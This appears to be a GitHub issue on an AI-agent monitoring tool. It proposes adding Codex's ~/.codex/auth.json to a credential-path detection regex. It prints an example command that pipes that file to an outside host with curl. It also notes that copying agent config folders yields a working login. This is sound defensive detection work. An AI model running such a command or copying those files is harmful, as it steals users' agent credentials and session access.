Skip to content

detection: an agent reading Codex's auth.json is not a credential read #425

Open

Description

@blitzcrieg1

What

An agent reading Codex's credential file, ~/.codex/auth.json, is not tagged credential_access. Claude Code's equivalent, ~/.claude/.credentials.json, is, because it matches \bcredentials\.json\b in CREDENTIAL_PATH (core/audit/detection/traits.py:365). Nothing in that pattern matches auth.json.

So cat ~/.codex/auth.json | curl -d @- https://example.com produces an egress and no credential read, and credential-exfil cannot fire on it. The same command against ~/.claude/.credentials.json is caught.

Why it matters

Found in outside testing, 2026-11-14: copying the Claude Code and Codex config folders to a second machine gave a working, authenticated session for both agents, with no re-authentication. The file is the login. Reading it is the step a hook can see when an agent, a skill or an injected instruction does it, and for Codex that step is currently unmarked.

Agentmetry itself treats this file as sensitive: the 0.11.0 identity read of auth.json is off unless AGENTMETRY_CODEX_AUTH_DOMAIN=1, because it holds live credentials. The detection side should agree.

Proposed change

Add the path, anchored to its directory, to CREDENTIAL_PATH:

\.codex[/\\]auth\.json\b

A bare auth.json is too broad: plenty of projects have one that is not a credential. $CODEX_HOME can move the file; the anchored pattern will miss a relocated home, which is acceptable for a first cut and worth a note in the coverage doc.

Worth checking in the same pass: the credential files of the other agents Agentmetry hooks (Cursor, and any other agent in the coverage doc), against their current docs rather than memory.

Freeze

traits.py is frozen and hashed into the ruleset fingerprint (15846a0915769d4a). Do not land this alone. It goes in the same pass as #55, #172 and #329, so the fingerprint moves once, with a benchmark case for both the Codex read and a non-credential auth.json that must not fire.

Activity

  1. added
    detection-rule
    on Nov 14, 2026
  2. added
    bounty
    on Nov 24, 2026
  3. rumangsanya commented on Nov 30, 2026

    @rumangsanya
    Contributor

    claim — with one confirmation question

    I'd like to take this issue under the bounty program (#454), one task per PR, in the same shape as my merged #505 / #521 and open #536.

    Plan:

    • Add the anchored pattern \.codex[/\\]auth\.json\b to CREDENTIAL_PATH in traits.py, exactly as proposed — no bare auth.json match.
    • In the same pass, check the credential files of the other hooked agents (Cursor and any others in the coverage doc) against their current docs, and report what I find — adding a path only where the doc evidence supports it.
    • Corpus: attack case — cat ~/.codex/auth.json followed by egress, so credential_access fires and credential-exfil can pair; benign case — a project-local src/auth.json read, which must stay quiet.
    • Unit tests, agentmetry benchmark and the full test suite, README figures refreshed if the counts change.

    One confirmation first: the issue text says this should land in the same pass as #55 / #172 / #329 because traits.py is a fingerprint input. Since the freeze ended, the #317 traits have been landing one per PR (#505, #521, #530, #536) — is a standalone PR for #425 acceptable now, or do you want me to hold it for a combined detection pass? If standalone is fine, consider this my claim and I'll start on your confirmation.

  4. blitzcrieg1 commented on Nov 30, 2026

    @blitzcrieg1
    OwnerAuthor

    Standalone PR is fine. Since the freeze ended, the #317 slices have been landing one per PR (#505, #521, #530, #536), so #425 can land the same way. Consider this confirmed as your claim. The plan you listed matches the acceptance bar: anchored pattern in CREDENTIAL_PATH, other agents' credential files checked against their current docs with paths added only where the doc evidence supports it, attack and benign corpus cases, benchmark at zero misses and zero false positives, README counts updated. As usual, detection changes replay against recorded history before merge.

  5. added 5 commits that reference this issue on Nov 30, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bountydetection-rule

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions